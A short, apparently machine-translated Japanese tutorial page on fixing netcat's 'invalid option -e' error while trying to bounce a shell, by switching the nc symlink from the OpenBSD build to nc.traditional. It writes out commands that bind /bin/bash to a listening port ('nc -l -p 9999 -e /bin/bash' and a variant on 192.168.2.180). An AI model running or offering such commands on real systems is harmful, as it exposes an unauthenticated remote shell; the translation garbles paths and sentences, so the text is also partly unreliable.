Windows system >> Windowsの知識 >  >> コンピュータソフトウェアのチュートリアル >> サーバー技術 >> サーバーについて >> Nc:無効なオプション - 'e'エラーの解決方法

Nc:無効なオプション - 'e'エラーの解決方法

  

ncエラーがあるとシェルをバウンスしますnc:無効なオプション‘ e’これはnetcat-openbsdパッケージに含まれるncです。 -traditionalパッケージ

以下は、修復のアイデアです。

$ which nc /bin /nc $ ls -ld /bin /nc lrwxrwxrwx 1 root root 2012年10月24日/bin /nc - > /etc /alternatives /nc $ ls -ld /etc /alternatives /nc lrwxrwxrwx 1 root root 2 2月19日10:03 /etc /alternatives /nc - > /bin/nc.traditional実際には、これを探しています。ファイルは/bin/nc.traditionalです:$ /bin/nc.openbsd -l 9999 -e /bin /bash /bin/nc.openbsd:無効なオプション - 'e'使用法:nc [-46DdhklnrStUuvzC] [ - [-P proxy_username] [-p source_port] [-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_protocol] [-x proxy_address [:port]] [hostname] [port [s] ] $ /bin/nc.traditional -l -p 9999 -e /bin /bash ^ C $

上記の出力メッセージを組み合わせて、次のコマンドを渡すことができます。コンプレックス:

$ sudo rm /etc /alternatives /nc&sudo ln -s /bin/nc.traditional /etc /alternatives /nc

修復後、もう一度試してください。エラーメッセージは、シェルが正常にリバウンドしたことです。

$ nc -l 192.168.2.180 -p 12345 -e /bin /bash

Copyright © Windowsの知識 All Rights Reserved